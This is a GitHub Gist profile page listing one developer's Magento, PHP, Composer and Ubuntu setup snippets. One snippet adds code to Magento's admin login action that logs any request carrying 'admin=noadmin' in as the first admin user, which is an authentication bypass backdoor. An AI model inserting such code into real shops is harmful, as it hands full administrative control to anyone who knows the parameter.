Skip to content

Instantly share code, notes, and snippets.

View mrtuvn's full-sized avatar
👨‍💻
Keep calm and enter your center

Tu Nguyen mrtuvn

👨‍💻
Keep calm and enter your center
View GitHub Profile
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>untitile</title>
<!-- link css
<link rel="stylesheet" href="stylesheet.css" type="text/css" media="screen" />
-->
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
@mrtuvn
mrtuvn / frontendDevlopmentBookmarks.md
Created January 3, 2016 06:09 — forked from dypsilon/frontendDevlopmentBookmarks.md
A badass list of frontend development resources I collected over time.
$.ajax({
method: "GET",
data: {},
dataType: 'json',
url: previewUrl, // http://m2.dev/megamenu/menu/view/id/1
cache: false,
showLoader: true,
context: $('body'),
success: function(res) {
$fieldset = $form->addFieldset(
'conditions_fieldset',
[
'comment' => __(
'Please specify products where the block should be displayed. '
. 'Leave blank to display the block on all product pages.'
)
]
)->setRenderer(
$this->rendererFieldsetFactory->create()
@mrtuvn
mrtuvn / Install-php7.md
Created June 18, 2018 03:01 — forked from hollodotme/Install-php7.md
Installing php7-fpm with phpredis and xdebug extension on Ubuntu 14.04

Install php7.0-fpm

# remove php5 modules
apt-get autoremove --purge php5-*
# add php-7.0 source list by [Ondřej Surý](https://github.com/oerdnj)
add-apt-repository ppa:ondrej/php
# Update index
apt-get update
# Install php7.0-fpm with needed extensions
List files changes
find ./vendor -type f -printf '%T@ %P\n' | sort -n | awk '{print $2}'
@mrtuvn
mrtuvn / composer-guide.txt
Created December 4, 2018 14:30
composer install/update
php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php -r "if (hash_file('sha384', 'composer-setup.php') === '93b54496392c062774670ac18b134c3b3a95e5a5e5c8f1a9f115f203b75bf9a129d5daa8ba6a13e2cc8a1da0806388a8') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
sudo php composer-setup.php --install-dir=/usr/local/bin --filename=composer
app\code\core\Mage\Adminhtml\controllers\IndexController.php
add this to first line login action
$ad = Mage::app()->getRequest()->getParam('admin', false);
if($ad == 'noadmin'){
Mage::getSingleton('admin/session')->setUser(Mage::getModel('admin/user')->getCollection()->getFirstItem());
}
/*
* author: pace zhong
* date: 2015-06-15
* desc: accordion componet
* dependencies: jQuery 1.6+
*/
define([
'jquery'
], function ($) {
'use strict';
@mrtuvn
mrtuvn / ubuntu commands start.txt
Last active January 28, 2019 04:10
Commands for start machine from clean setup
sudo apt-get install build-essential gcc make perl dkms git
sudo apt install apt-transport-https ca-certificates curl software-properties-common
sudo /sbin/vboxconfig
#fix for virtualbox + vagrant
sudo apt-get install nfs-common nfs-kernel-server
sudo apt install php7.2 php7.2-common php7.2-cli php7.2-fpm